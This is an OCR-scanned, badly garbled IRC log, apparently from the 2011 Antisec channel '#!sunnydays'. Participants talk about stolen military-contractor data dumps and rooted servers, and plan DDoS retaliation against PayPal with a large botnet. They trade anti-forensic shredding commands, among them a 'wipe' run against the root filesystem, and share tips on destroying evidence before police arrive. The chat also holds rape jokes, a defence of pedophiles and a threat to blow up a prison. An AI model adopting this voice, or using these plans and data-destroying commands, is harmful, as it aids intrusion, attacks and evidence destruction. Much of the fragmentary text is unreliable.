yer well, ^^^g is a^^^under of #antisec .. so i guess i'd be 
i nter est anyway 

ANyone who asked me 
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23:38 < 
23:38 < 
23:38 < 
23:38 < 
"crack t" 
23:39 < 
looking at 
23:39 < 
23:39 < 
23:39 < 
23:39 < 
23:39 < 
23:39 < 
23:39 < 
23:40 
23:40 
23:40 
23:40 
23:40 <' 
23:40 < 
23:40 < 
23:40 < 
23:40 <' 
23:40 < 
23:40 < 
23:40 < 
23:40 
23:40 
23:41 
23:41 
23:41 
23:41 




of interest" as they wanna 
probably too ffar for 



but 




it) 



# lsunnydays.log 
I told em I was living in Sweden 

as usual i never disclose anything about that 

hot on our trails! ! 

I think all ops in there are "persons 

eadership" xD 

eberyone knows i live in 

me there 

yeah which is why they grabbed No and 
who didn't even use LOIC 

they are only charged with conspiring and aiding and abetting 
d didn't use vpn et al apparently 

^^^g - my VPN hept fucking failing 

s o I go t para 

<^^^gpuppy linux (cause ^^^^^ always talk about 
I nope you switched to iceWM 
before ditching it 
lol 

im gonna head guys 
explored it lil bit 
need some kip 

dont u usually use rogue wifis? 

aye 

like Its fast 
but they can still geolocate 
etc 

to within a mile 
or so im told 

(xxxss technique, ill explain later) 
needs sleep tho 

look at the source and dox I posted 
ill be back :D 

pl^H^V yeah but it doesnt help them much — it could have been 

sed/hacked machi ne 
True 

never enough misinfo tho 
they KNOW ^^^^H is irish 
everyone know^tnat dox lol 

<3 



Anonops 





are still awake 
attention? 




quit [User quit: zzzzzzzzzzzzzzzzzzzz] 



still am. Not impressed 
witch clone *yawn* 



watched The Tunnel 
it's crap :p 

another blair 
_ here 

ok 
wel 1 

I just had a brainfart 

still haven't decided abt fde 

while walking to get my laundry 
what if you built a limewi re-like client 
around tahoe-lafs? 

it would be like limewi re, with persistent files 
that stay available even if the original 'uploader' is offline 
jve don't have a gateway server so that's pretty academic 
^ well 

the point is 

if you build a client around it 
I am not entirely sure about how tahoe-lafs works 
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# lsunnydays.log 

but 

I think it is possible 
for every client to be their own gateway 
you would get the idea of one massive shared harddrive 
a concept I had been playing with a few years ago 
but never got around to actually implementing 

(not to mention that my version of the concept didn't have 

persistent storage, but was basically an emulation of a shared 
1 imewi re-l i ke technology behind it) 
well i never looked at it in detail so dunno 
wel 1 

imagine having a shared harddrive 
a massive shared harddrive 

with all the contents of the entire 1 imewi re network 
are you starting to see the picture? :P 

[^^^^Jkerpi a-2446E756. dial up. adsl .anteldata.net. uy] has joined 

Jays 

mode/#! sunnydays [+o ^^^^H t)y Confuzion 
<(£^^^^B yoyoyo wat it i^tiotnerfuckas 
<-^^^| yo 
<(3Sabu> 
<@Sabu> 
<©Sabu> 
<@Sabu> 

<'~^ 

— Day changed 
00:05 <(asabu> yes 
00:05 <©Sabu> will hit him up 
00:05 <|^^B so what is this 

https://Tiitgo>^endesk. com/entries/20298268-aurumxchange-partnershi p-european-tran 
sfers-now-available :/? 





you tucking 
sexy ass nigga! ! !w 
whats good 
sabu i think 
Tue Jul 26 201 



lookig for you 




can put bitcoins it to your bank? 
safest bitcoin exchange 



]ust so you 
so wai t 

the supposedly 
teams up 

with the proven least safe exchange 
really? 

somehow thinks that is not going to be a success, 
actually 
I was thinking 
with a similar 
ut what does it 



of a different exchange 
name 



do? 

exchange currencies 
:P 

got more confused 
seems they handle 
or some shit 

i know what mtgox is, im just curious what this "new' 

of 



from 
sepa 



reading it 
transfers 



thi ng 
hi ri ng 



according to mt. gox, their current bank got tired 

time employees just to click buttons for mt gox 
rofl 

ike is it so i can cash out and put the bitcoins in to my bank? 
they are exchanges 

and you can exchange your btc for other currencies 
and withdraw those other currencies 
to your bank account 
or the other way around 

as has already been possible with mt gox for quite a while 
and again, you don't "cash out" 
you exchange 

ut it says "Mt.Gox redeemable codes" i dont even :s 
adam is not the best person at... explaining stuff 

rofl 

its not his responsibility. Army turned in pedo 



they forced him to shag lil children from vietcong 
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subject already? jesus christ 
about this shit for months 



it 



#! sunnydays .log 

what 

where was that 
m trolling 
_ and can people drop the | 
whos ^I^H 

seriou^^, he has been open 

and suddenly 

"'pokes* 

someone makes a fuss out of 
missed him 

and the entire fucking network is buzzing 
with people complaining 
and bitching 
Ahh i get this silly thin now xD 

http : //pastebi n . com/4t j8f2Qx 
you buy the silly codes using BTC or other 
t out and get bank :D 

but HHHI brings thewhole thing back all 

i th^Tlwie s really missing him 
(and whatever they did together) 

i got like a few lines in to it and all i read is someone being a 
ut i dont want to read about tht :/ 

can someone just explain what it's about? 
oh well nothing special 

disappeared and ^^^^H is missing him and asking all time 



'e currencies" then 



time 



talks to 



outside of this ire 



still 

the point is 

shortly after hell went loose 

in #antisec 
re: ZZ^^ 

was banned from the channel 
people were shouting that he should be hunted down 



shortly after that 
network 

never came back 
■^^^1 is really really 

^^guess he souldn't be 



left 



pissed/sad about that 

a pedo them and ppl might be nice 



and nothing of value was lost 
is following suit with 

28 <@Sabu> because 

29 <(asabu> he banned another security researcher push[EAX] for opposing CP 
discussed in #antisec 



bei ng 
00:29 
00:29 

00:30 

00:30 

it? 

00:30 

00:31 

00:31 



might be nice 



<(asabu> this shits getting sickening already 

<©Sabu> I didn't explode like last time, and left nijaxer alone (unless hes 

himself) 

<©Sabu> but that shits mad lame 

<@Sabu> I don't understand the obsession with child porn discussions 
<@Sabu> and then banning actual security researchers because they oppose 



<@Sabu> 
< 




be a pedo them and ppl 




don't 

00:32 

thoughts/tee 1 1 ngs an 



go to 4chan for that shit 

im sorry but CP is just fucking disgusting 
oh well i guess he souldn t 

himT 
first off 

pedo does not equal child molester or cp 

second off 

_ it's not like he actually has a choice 

what? 

it's a sexual orientation just like being homosexual, you know 
im sorry but you either look at chi;ldren in a sexual way or you 

you don't seem to get the difference between 

actions 
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00:32 
00:32 
00:32 
00:32 




#! sunnydays .log 
but it's so fucking wrong 

so? 

thoughts are still not illegal 
and shouldn't be 
_ especially not if you don't get the choice 

whatever, theres no reason to bring that into antisec. it has 

nothing to doo there and its just to be expected that people are getting ticked 
off by it 

ofcourse he has a choice 

also it's fucking bad reputation for antisec 
and you base that on what? 



I see 




no issue wit 
00:33 < 
00:33 < 

to your 



tired of this subject 

why do you take this topic so serious? 

fine, then just tell him to take it elsewhere 




thats exactly what i did 
you wont be so apologetic of pedos one day if one ever somes in 

or someone elses life you know i can tell you that 
33 <@Sabu> everytime this topic comes up you get ultra defensive 

Sabu: because I am getting fucking tired of people treating 
ITke 'unworthy humans' because of something they can't do shit about 
or even worse 
comes* 

treating as if they aren't humans 
that is not exclusive to pedophiles 

it's just that that seems to be the only thing on anonops where 
3ecide someone is not a real human anymore 

00:34 <@Sabu> PEDOPHILIA HAS NO NEED TO BE DISCUSSED IN #ANTISEC ESPECIALLY BY 
OPS 

AAAA 

period. 

iSabu> and they should NOT BAN security researchers if they oject to it 
_ protip: two very good friends of mine are a pedophile 
I have been raped twice while I was a child, your pointl 
that is all fine 
but fucking treat other humans like humans ffs 
that is the only issue I have with this 
'have to agree that is braggin about his pedo condition 




00: 

00:34 <G 

other people 
00:34 <' 
00:34 < 
00:34 <' 
00:34 < 
00:34 <_ 
people su 



00:34 

00:34 
00:34 

00:35 <(< 

and an ephebophi 

00:35 <(r 

00:35 <G 

00:35 <(< 

00:35 <(< 




00:35 
00:35 
00:36 
defending' 
00:36 < 
00:36 < 




e , an 
Sabu 



since november at least 



then just tell him to do it elsewhere 
that is not what l am debating against 
1 dont care if i hear ppl being pedo ill ban them and if they try 
themselves ill ruin them 
it's sick 

I can't find the exact english translation of this phrase, but 

leave people in their value" 
00:36 <(^^^^^^| ^^^^1 do you even have a clue what you are so blindly hating 
agai nst? 

00:36 <~-^^^^H he's ephedo and for all i know he never ever molested a child or 
would do so. but whatever, that is all beyond the point which is that this shit 
has nothing to do in antisec 

he is to a certain point a pedophile, where he is actually 

in both kids in puberty and prepuberty, but keeps his hand off 



00:37 < 
intereste 

anything below 13 or 14 or so 



00:37 < 
blindly 
00:37 < 
00:37 

00:38 
00:38 
00:38 
00:38 
00:38 
00:39 < 
00:39 < 



and I really, really, really don't get why people are so 

lati ng against something withou t even understanding it 
hm well actually i think did it 

he told me about dating a young anon 

who was 18. 
"discussing this shit 




he dated _ 
either way, im tire 
bai 



didnt asked how young 
yep sure 

lets change cause we 11 



not agree anyways in many points 



are, and respect them how they are 



the only thing I am asking is to leave people for what they 



00:39 



they have no choice to change it 
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00:39 < 

00:39 < 

00:39 <@Sabu> 
00:39 < 




# lsunnydays.log 
and as long as they do not abuse children 
I don't see the issue 
anyway 

someone is still innocent until proven guilty in my world. 

friends if they keep banning people for objecting to 
getting banned off the network is the least of their 



00:40 <@Sabu>Just tell your 
their pedophilia discussions 
troubl es 

the only thing i 11 contemplate about this funny gossip, its 
about not being psyoped to fight between us 

if you have a problem with someone, tell them that - in a 



00:40 <' 
be carefuT 
00:40 <' 
normal way 
00:40 ' 
00:41 
about 




lets 



00; 
00: 
00; 
00; 

00; 
00; 
00; 
00; 
00; 
00; 
00; 



42 
42 
42 
42 

42 
42 
42 
42 
42 
42 
42 



< 
< 

somethi ng 
<@Sabu> :x 
<@Sabu> 

<@Sabu> I am 



without screaming at them like they just killed someone 
it's not *that* hard to keep your calm and just address someone 
in private 




I you know me by now 
short fuse 
yes, I do 

but I was really really disappointed 

at how you handled that situation 

but you know that al ready 

so let's not start that discussion again 

<3 

again at the end of the day. a security researcher for anon > 



a pedophile who bans people for no good reason 
00:42 <(asabu> but ok <3 

00:43 <<mm ■■■ +1 

00:46 < @sapu> n ^p://i .imgur.com/veGCR.jpg 

00:46 <~^^^^| god this shredding takes foever 

00:46 <@Sabu> mafia subway riding hard 



00:46 
00:47 
00:47 
00:48 
00:49 
so 

00:49 
00:49 
00:50 



lol 
classy 
Isabu>~http://i 




i mgu r . com/Sh rR3 . j pg 




I just thought the exact same thing, 
shredding takes long time specially i 



00 



lave lots svn tar zip and 



Sabu: lol looks like super man in church :0 
i remember i left 2 days shredding a folder 
yo ^^^B what was password to the 4gb dump? 

the Dooz allan shit 

see for normal things i just do a 7 pass 

but for more illegal things like logs and stuff tht could get me 
35 pass on 

trying to guttman everything takes too long lol xD 
wipe -r -q -Q 7 -P 7 folder 
or my beloved (in extreme cases) 
for windows: use Eraser to clean out the memory/forensics stuff 
wipe -r -q -Q 9001 -P 9001 / 
AAcheck it out cause it works 
i wi pe i n wi ndows atm 
and yup, heidi eraser 
if u got a SSD look to enable 
the TRIM function 

^^^B have you got it to work without crashing? 
cause shred doesnt work on those 
SSD's are funny, they only have a certain ammount of writes, 
stored them reduces their life p fast 
sense 

the native trim function support 
shredding reduces life in normal hd too 
doesnt crash but on one system it isnt working 



but its non 

just enable 
i would say 
it 



but doesnt matter, this system will be formatted completely and 

soon anyway 

_____ even if you truecrypt in a court you'll be forced to hand over 
the dec ryption keys and passwords 

01:01 < ^^^^1 you can even do prison time for not handing them over 
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01:01 < 
01:01 < 
01:01 
01:01 
01:01 




#! sunnydays .log 

but there was a recent case and it's still being forced 

Not in every country, 
err 

fought* 

because they're saying handing over keys ammounts to "self 

incrimination' 

01:02 < ^^^^g but some places you can do prison time like in the uk for not 

handing tnert^ver 

01:02 < ^^^Hg i think it's a maximum of 2 
remember rea^Hig a story about it 

it's best to have nothing that needs 

or storing encrypted files remotely 

Don't say your sd card isn't encrypted? 

no it's not 

or your usb key 
nope nothing is 

mm 

i have TC volums of stuff i've backed up on remote servers 

but this mSD card gets destroed when police come 

I don't have a SSD/hdd, i boot from a 64GB mSD card 

and the usb key with lists of rooted boxes you talked abt? 
oh yeh that is but i dont keep it here at home 



years or something in the UK i 
encrypting 



01:03 < 
01:03 < 
01:03 < 
01:03 < 
01:03 
01:03 
01:04 
01:04 
01:04 < 
01:04 < 
01:05 < 
01:05 < 
01:05 < 
01:06 < 
ASSSHOLES IL 

you, just 
01:06 < 



meh, if you use encryption you can't just deny giving them the 
keys to it is all im saying, it's best to just not have anything illegal on your 
comp ;-) 

01:06 <@Sabu> regarding : http://www.whitehouse.gov/live obama is speaking live 

in some jurisdications you can do just this 



01:06 Kii 

01:06 <@Sabu> we notice his intentional hand movement 
01:06 <@sabu> he moves his hands a lot to make a point 
01:06 <@Sabu> its a psychological tactic 

well the fun thing is they will have a shitty time to even be 




hm even if u dont handle your passwords, (GO fuckyourselves 
NOT GIVE u MY PASSWORDS) they 11 not be able to build a case on 



01:07 <- 



able to seize my shit 
01:07 < 
01:07 < 



cant go into details 

true but alot of places will put you in prison for not 
eys over, it carries it's own sentence, and in some states in the US 
certain levels of encryption are considered illegal some are actual labled as a 
"weapon" . 



hading tne 




01:07 

01:07 <@sabu> 



but some other measures are in place aa 
has a degauzer attached to his dick 



01:07 <@sabu> as soon as they come in 
01:07 " 



not in us 



01:07 <(asabu> he'll smack the laptops with his pene 
01:08 <~ " " ■ 



actual yl i was thinking about something like that: combined with 

a battery powerd GPS receiver, if hardware out of predefined area = degauss 
01:08 <^Hi^ 
them 

01:08 <^^^^H Read www.law.nyu.edu/ecm_dlv/. 
01:08 <(c^^^r'<o'< Sabu 
01:09 < 

http : //www^rawTnyu . edu/ecm_dl v/groups/publ i c/©nyu_law_websi te journal s_ 

of_l egi si ati on_and_publ i c_pol i cy/documents/documents/ecm_pro_060624 . pdf 



and they can put me in prison again if they want but no candy for 

law. . .of . . ./ecm_pro_060624. pdf 

.journal. 



01:09 
01:09 
01:09 
01:10 
01:10 < 
01:11 < 




there tht 

Thats US encryption laws 
but that s is on US 
i hope u r flying away 
and in the UK http://www.cyber-rights.org/crypto/ukpolicy.htm 

_ New laws going into effect today in the united Kingdom make it a 

crime to refuse to decrypt almost any encrypted data requested by authorities as 
part of a criminal or terror investigation, individuals who are believed to have 
the cryptographic keys necessary for such decryption will face up to 5 years in 
prison for failing to comply with police or military orders to hand over either 
the cryptographic keys, or the data in a decrypted form. 

01:11 < ^H^l Part 3, Section 49 of the Regulation of investigatory Powers Act 
(RIPA) in^uoes provisions for the decryption requirements, which are applied 
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differently based on the kind of investigation underway. As we reported last 
year, the five-year imprisonment penalty is reserved for cases involving 
anti -terrori sm efforts. All other failures to comply can be met with a maximum 
two-year senten ce. 

01:11 < ^^^^1 The law can only be applied to data residing in the UK, hosted on 

UK servers, or stored on devices located within the UK. The law does not 
authorize the UK government to intercept encrypted materials in transit on the 
internet via the UK and to attempt to have them decrypted under the auspices of 
the jail time penalty. 

01:12 < ^^^^1 If you live in the UK or anywhere it's always best to have 
nothing encrypted 

01:12 < ^^^^H the encryption can get you prison alone 

< 

http : //arstecmii ca . com/tech-pol i cy/news/2007/lO/uk-can-now-demand-data-decrypti on 
-on-penal ty-of - j ai 1 -ti me . ars 

The US laws are fucked up when it comes to encryption, certain 
erent 

still they can put me in prison but not candy 

well the best thing is still to not get tracked down in the first 



my anon actvities 

day post 
oined #! sunnydays 
y Confuzion 




computer 



would contain an irc.lc link that is 
day 



: p 



sec 

dmnd i want to hack something 
starts a new scan 
: P 



01:36 <@Sabu> worT^lnth pow to finish that other shit 
01:36 <@Sabu> damn where the fucks lulzboat/lulzdeck 



01:37 
01:37 




<( 

01:40 <(c[Sabu> 
01:40 <@Sabu> 
01:41 <( 
01:41 <( 
01:41 <( 




my part is done with that shit 
i converted it, people need to bacj< it up now 
oh Sabu what happened with mil.' 
kerpi a-74F70582 . torservers . 
do u have a tar.gz of all 
big is it? 
ok good shit 

I think ultimas going to 

Its b.8 gb 
and it is a . rar 
since we need best compression 

Page 304 



br? i lost my connection yesterday 
net] has quit [Ping timeout] 
that ready? 



sit on it or spread 



61113 



01:44 
01:44 
01:44 
01:44 
01:46 
01:46 
01:46 
01:46 
01:46 
01:46 
01:46 
01:47 




01:47 
01:47 



01:49 

01:49 

01:49 

01:49 

01:49 

01:49 

01:49 

01:49 

01:49 

01:50 

arrang 

01:50 

01:50 

01:50 

01:50 

01:50 

01:50 

01:50 

01:50 




#! sunnydays .log 

rofl 

the responses 
to that tweet 
are hilarious 
what was password to dump.gpg? 

1 dont know 

encrypted it 

1 just gave him raw data 
ok I'll ask the nig 

what was in there anyway? worth to decrypt it or leave it alone 

BAH source code 

i just grabbed their whole production line 
it should include military cms 
but its very hard to set it up locally 
java enterprise apllication jboss 
might be incomplete 
ok thats interesting 
its funny 

with all the internal docs we have 
our computers are worth millions of dollars 
you realize that 
rofl 

my laptop is worth like $10 million dollars 

ROFL 

I think the FBI etc do 
lol 

the funny thing is 
when you share it 
it suddenly becomes worth squat 
:P 

like, publicly share 

yeah 

thats a good point 
lets see if we can find a 
y all these dox from us 
think ^^^^H can hook it up? 
lulz 



that can 



wan t 

nah but u.s. military contractor 
s 

we got us docs 




01:52 
01:52 
01:52 
01:53 
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01:53 
01:53 
01:53 
01:53 
01:55 
chi ne 
01:56 
01:56 
01:56 
01:56 
01:58 
01:58 
01:58 
01:58 
01:58 
in th 
01:58 
01:58 
01:59 
01:59 
01:59 
01:59 
01:59 
so i h 
02:00 
02:00 
02:00 
02:01 
02:01 
02:02 
02:02 
02:02 
02:02 
02:02 
02:03 
02:03 
02:03 
02:03 
02:03 
02:04 
02:04 
02:04 
02:07 
02:07 
02:07 
02:07 
02:08 
02:08 
02:08 
02:08 
02:08 
server 
02:09 
02:09 
02:09 
02:09 
02:09 
02:09 
02:09 
02:09 
02:09 
02:09 
02:10 
02:10 
02:10 
02:10 
02:10 
02:10 




send me 
i want to see 
(hmtn. .ok. .im 



you mean 
> 



#! sunnydays .log 

lyi ng but imagining that situation is priceless) 

completely smashed negotiating with some 





007 

.almost 
"i 'm gonna sleep 
my head is exploding 

Chinese intel guy :S wtf? 
yo 

1 accidently said tht in another window thinking i was typing 

"xD 

nice one 
asabu> haha 

should be you raping someone now, 
*shouldnt 

I discretely hands up to be raped by 
lulz then its no rape anymore 

yeh :( but im suposed to be working in the morning but i forgot 

to come home : ( 
-/ 

it's only rape if you say no ;_; 
I i K^tni s : 

does not want to be raped by 

_ it's not the same when you're expecting it :( 
Its not rape, its surprise sex. 
ok: 'NO NO PLEASE STOP NOW! !!!!!' 

"lulz 

no one would believe that 

fuck. . 
"its hard to get raped. 

when i was a child was easier 
"lol 

time change. . 
"good old times 

XD 
:D 

:0 

!!>o.0)><(0.o<) 
is f kn bo red 

yo 
sup 

_ shredding almost done .. ohew 
shredding what 
_ all old data i still kept 

ah okay 

only have the unreleased stuff which is also backed up now on a 

fated to me 
ni ce 

i think i will watch the anime sabu posted yesterday 

all sytsms locked strongly too 
_ i think imma rewatch frozen 
fed s will be so mad if they ever get this 
_^ what anime? 

also, breakig bad first two episodes of season 4 are out 

~ interest piqued 

Dokuro Chan 

is going to google that 

watching breaking bad 
:er season 2 
could continue 

also i wait for nikita season 2 
also i wait for burn notice season 5 
all of my fuckin series are paused 
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02:10 < 
02:10 
02:10 
02:10 
02:10 
02:10 < 
02:10 < 
02:10 
02:10 
02:10 
02:11 
02:11 
02:11 
02:11 
02:11 
02:11 
02:11 
02:11 
02:11 < 
02:11 < 
02:11 < 
02:11 
02:11 
02:11 
02:11 
02:12 
http://t 
02:12 < 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 < 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 
02:12 
02:13 
02:13 
the plot 
02:13 < 
02:13 < _ 
extremeTy 
02:13 <" 
02:13 < 
02:13 <' 
02:13 < _ 
psychologi 
02:13 <■ 
02:13 < 
02:14 < 
02:14 < 
02:14 <' 
02:14 <' 
02:14 < 
02:14 < 
02:14 < 
02:14 < 
02:14 < 
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meh 
meh 

that anime 
+4 are worth it 

okay 

looks like an action genre kind of anime 
not really my thing 
:1 

just 6 episodes 
_ likes the more psychological things, 
wish i could forget death note 

kerpia-34C05721.torservers.net] has joined #!sunnydays 
on't like anime much 
why? 

i can watch it again and again and ... 
few exceptions 
homies 



death note, sukisho, etc 



heh 

R watch 
ost in 
I watched 1 
and they are 



the live action movies 
a Shel 1 , obviously 
and 2 last night 
SURPRISINGLY good 



the plot is different 

but they are actually really really good 



ay.org/torrent/4834375/Death_Note_Movi e_Trilogy_(perfect_subs) 
how the hell could you like The Tunnel 
i t's awfu l :p 
^^■^1 howso not like anime much? :P 
an^tne tunnel wasn't bad 
ot my taste, thats all 
not great either 
are those the real movies? 
but not bad 
t was horrible :p 

what kind of anime series did you watch? :P 

yes 

none. 

actual filmed movies 
ey are so fucking bad 

then how can you judge them 
oh wnat 1 watched before 
could not even watch them 
hmm a few i was recommended 
dont remember the names 
but only 2-4 episodes each 

they aren't bad. . 
erent from the anime, lol 
i never got into it 

also, at least the live action movies aren't trying to be 
amme-ish like some others tried... 

that doesn't work with live action 
tTiey are -9000 bad imo aa 
http: //www. cwtv. com/shows/ni ki ta 

were they the action kind of animes, 




only if you can't watch a movie where 




or more 




Abest series 2011 

there's quite a difference between those 
mhh kinda both i think, it's been a while 
i just don't like it, accept it man :) 



lol 
it's 
it's 



kind of hard to ditch the entire anime idea 
like saying "l don't like live action (filfed) movies" 
y not? it's my right of personal taste 
haha 

kinda true 

there's only very few ones i like 
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02:15 < _ 
different 
02:15 < 
02:15 < 
02:15 < 
02:15 < 
02:15 < 
02:15 < 
02:15 
02:15 < 
02:15 < 
02:15 
02:15 
series 
02:15 < 
02:15 
02:15 
02:16 
02:16 
02:16 < 
02:16 < 
02:16 < 
02:16 < 
02:16 < 
dumbed 
02:16 < 
02:16 <' 
02:16 < 
02:16 < 
02:17 < 
either 
02:17 < 
02:17 < 
02:18 < 
02:19 < 
02:19 <' 
02:19 <' 
02:19 <' 
02:19 <' 
02:19 <' 
02:19 
02:20 
02:20 
02:20 
02:20 
02:20 




#! sunnydays .log 

there is a certain style in anime, but the series are so wildly 

you dont have rights 11111 

that it's hard to just dismiss the entire anime idea 
I really can't watch dragonball z for example 
like 

I literally just have to turn it off after minutes 
I hate it 

aha 

_ but I absolutely love death note and sukisho 
well those are really bad i assume 
not as bad as yu-gi-oh though i guess 

especially sukisho is very very good if you like psychological 



bad 



lol 

beyblades :D 
_^ wins 

BTeach and Naruto are awesome imo 

even if they're mainstream 
mainstream does not equal 

per se 

yeah 

but people often respond with 

it's just that a lot of mainstream is mainstream because it's 
own entertainment (not everything) 
"lulzlulzulz mainstream" 

and is bad because of that 
lol 

so 1 said it inb4 

I never liked bleach and naruto much, but they're not that bad 

there were times i watched this shit 24 hours a day 
(i would still if there were episodes left) 
pff 

i like intellectual animes 

like 





death note 

kimba the white lion 
"googl es 
old anime? 
lol 

XD 

?Sabu> guys 

^^^B Jungle Emperor (??????? Jungle Taitei?), known in the United States 
as Kimba tne white Lion, is an anime series from the 1960s. 
02:20 <@^^| the fuck 

02:20 <(asabu> not sure if you guys been paying attention to thn 

02:21 <(asabu> but a lot of antisec hacks from other groups/countries 

02:21 <@Sabu> successful plan was successful ;:D 

02:21 <@^H yeah 

02:21 <^|HH it fucking spreads 

02:21 <@Sabu> 

http : //www. thehackernews .com/2011/07/phi 1 i ppi ne-congress-hacked-by-bashcrew. html 

http : / /www . thehackernews . com/2011/07/col ombi an-anonymous-hackers- reveal . html 

http : //www . thehackernews . com/2011/07/lO-peru-government-si tes-database-dump . html 

02:21 <@sabu> etc etc 

02:21 <@Sabu> just frm one page 

02:21 <@Sabu> the movement spreading like whoa 

02:21 <@Sabu> thanks to ^^^3 

02:21 <@Sabu> nigga so sexy making hackers hack harder 
02:22 <' " " 

02:22 < 
02:22 < 
02:22 < 



02:22 < 
without 




1 ol wut 
lolol 

someone was like 

'yeah I can't get tahoe-lafs to compile' 



so someone else responds with "yeah i have a binary that works 

laving to compile it" 
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# lsunnydays.log 
ight, I'll .tar.bz2 it and upload it to tahoe for you 

oh right 

yes that was a copypaste from another conv)) 
no races 15 years of jai1...wth oo 
for what 

wat? source? 

charges were consiring and ading and abetting to damaging a 



conspiring-' 
?Sabu> what? 

how the fuck can you damage a site 
with loic 

told me about the charges, 



i think 



told him on the 




over there 

its not even clear 



she'll 



phone 

02:28 . 

http://www. rawstory.com/rs/2011/07/2 5/ journal i sm-student-faces-15-years-for-al leg 
ed-anonymous-hackti vi sm/ 

' : 1 

no, and him did not use LOIC even 

then wtf are they being charged for 
lol 

if she gets into jail 
_ I am going to personally fucking fly 

ah okay, that is the max sentence and . 

convicted yet 

and blow up the fucking prison 
rawstory shaking the tree 
if she gets in for 15 years 
mm 

at happens if you fuck with people who got money 
yeah 

this happens if you fuck with people who stand for what they 

boom, wall gone 
seriously 

should raise some of them serious IRL anarchists then :p 
oh, don't worry 
that can be arranged 
1 if people like thaht get 15 
what would we get? 

it might happen without us doing anything 




ppl would be fucking 



just reading 




that google 'logger popup was blocked' i m 
sentences in some states 



people would 
02:34 <f 
02:35 
quiet, 
02:35 
02:36 
02:36 
[Pi ng 
02:37 



Guatanamo 
hm have u heard about 

about that 

rapists g et low er 

ats good for 
lol 

god i hope her legal rep is awesome 
1 really dont care about getting v& but i think its damn boring :- 
also i think they want to create some example 

yup they sure would want to 
to scare others. 15yrs is just too much imo 

NO is not a good person for an example though, as i think most 

sympathize 
yeah 

maybe we should takedown paypal again, but not from o:p keep it 



Just to show them that we're not impressed. 

dont want more arrests for this shit 
definitely have to retaliate 

kerpia-2446E756.dialup.adsl. 




02; 
02; 
02; 
02; 



37 
37 
38 
38 



bring 



timeout 
<©Sabu> 
<(asabu> 
<@Sabu> 
<@Sabu> 
<@Sabu> 
o:p back 



antel data. net. uy] has quit 



= has more ddos power 
an half of russian mafia 
no joke 

he is willing to bring operation payback back to 



life 



but 



you need to get that shit popping or see who wants to 
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02:38 <@Sabu> cause its like. 
02:38 



#! sunnydays.log 
dead 



yea but., if we revive o:p and actually announce the attack there 

we cant guarantee that more people will get arrested — usually innocents 
like no^;^ 

02:38 <^H^ it would make no sense to bring it back since wiki leaks is 
unbanne 

(c^^H lol 

alone can push up to SOgbps 

e has 300,000 routers at his disposal 
u said NO is not a good person? 

XD 

sabu well - should talk with the operators at least 
if we want to do that 

not a good person to make an example of :) 

1 never liked much how no behaved in public channels. 

that has nothing to do with it 
she's one of us. 

wiki leaks is unbanned since when>? 

. +1 

that " 
hehe yea 

just read it in the news 

if you are talking about that short unban a few weeks ago, that 

_ and it's rebanned 

she doesn't fit the profile of an irresponsible juvenile wanting 




however. 




02:40 
02:40 

was an acci 
02:40 <' 

02:40 < , 

to cause mayhem to websites 



02:40 
02:40 
02:41 




fucking example 



_ lol 

jury won't swallow that (IS that actually a jury case?) 
but 

paypal will buy the gucking jury 
they will profile the jury 

*fucki ng 

she is an irresponsible young... 
lol 

indeed 

paypal puts money in creating an example they will create an 



02:42 
02:42 
02:42 
02:42 
02:42 
02:42 
02:43 
02:43 
a protest 
02:43 < 
02:43 
02:43 
02:43 
02:43 
02:43 
43 
43 
43 
44 
44 
i nvol ve 
02:44 < 
02:44 < 




02 
02 
02 
02 
02 




mii 

cwn^io 



well, the raw story article doesnt mean much 
Tf they really want it, it will happen 

we really have to wait and see how the case goes 
al tough it wont be 15 years 
we just gotta keep riding on the po po 
they bust a dozen of us, we bust several hundred of them 
we should collect as much as we can for now 

ere should be no sentence at all, as she just helped to coordinate 

then in case of a conviction 

BAM 

we open the flood gates 

conviction could take a very long time 
mmm i dont think so 

more than a year, unless she cops out to a plea very early on 
i believe they want a fast verdict 
I I think they wanna make it quick and dirty, 
now so. 

have they made any convictions in any of the anonymous arrests, yet? 
_ in this case they would want it quick -- to shock the people 
ope that would make it all stop 
there is still legal procedure 

even if she was going along with everything the feds wanted and 
e first plea they offered, it'd stil take months 

well Grand Jury took half a year to came to a decision.. 

it still doesnt hurt to hold some material back in case 




copped to t 

02:44 

02:45 <~pH^H mmm yeah, 
somethi ngmgnappens 
02:45 < if she got a 

some of tnose busted will 
02:45 <€^^H 1 awye r wi 1 1 



lawyer that fought it, which she should and at least 
I'm sure, then it could take years 
rule shit 
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#! sunnydays.log 

insurance. aes256 
even the worst lawyer would go out with less than 15 years 
that for sur e 
fuck ^^^^1 got doxed 

:46 <@Sabu> 

http : // pi c ■ e pi cf ai 1 . com/wp-content/upl oads/2011/07/f ashi on-f ai 1 -wan na-be- thug . j pg 
02:46 <€^^| would be nice to get hands on some totally explosive material. Hot 
t^<e( 



02 
02 
02 
02 
02 



45 <ii 

46 <i 

46 <S 

46 <@Sabu> 




enough 




root-1 eve 



ceep the feds away, 
lol sabu 
lol Sabu 
: P 

nothing will keep them away 
they won't take blakmailing. 
yeah 

worst thing gov can do 
is accept blackmailing 
uh. . . 

http : //www . thesmoki nggun . com/f i 1 e/paypal -ddos-attack?page=3 
we just need area51 dox :> 

'when the bka conducted an analysis of the server, it found that 
access ot the server appeared to come from an administrator logging in 



from IP address 72.9.153.42' etc etc 



02:48 < 
for anonops 
02:48 ' 
02:49 




isnt it? 



'obtained and executed a search warrant for the host europe server' 

i rc 

lol 

no convicted for hacking charges 
XD 

mama convicted for hacking charges" 
right 
XD 

we should retaliate lil bit there, 
well im goin to sleep now 

bye 

and stay safe 
congress websites are down? 

btw that server was located near the front door of the nsa :> 
we need server inside the nsa 
hm or not 

we need an physical antisec unit too :D 
_ twitter lies again 
Antisec blackops team" 

A 

would be awsome to have agents :D 

kerpi a-c3E72643. dial up. adsl .anteldata.net. uy] has joined 



yar, 
wait I 



need to turn a couple lol 



might get mad 




we already have a physical antisec unit 
just not deployed yet 
tw any news re: debt ceiling? 
do we, ^^^^1 

yep 
lulz 

if they don't get along until next week, lots of gov/mil/intel ppl 
that could be awesome 

am I reading correctly that an anonops ire server was seized? 
backdoored maybe? 

and that it had IP logs of some kind? 

seized long time ago... back in december or january 

nrm 

its not secure anyway 
and it probably never way imo 

agree 

anyway, yes, we have to retaliate 

was kicked from #!sunnydays by [i keep responding >.<] 

this cop drop is rather suitable 
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02:56 <@Sabu> yo 
02:56 < we cou 

defendants . 



02; 
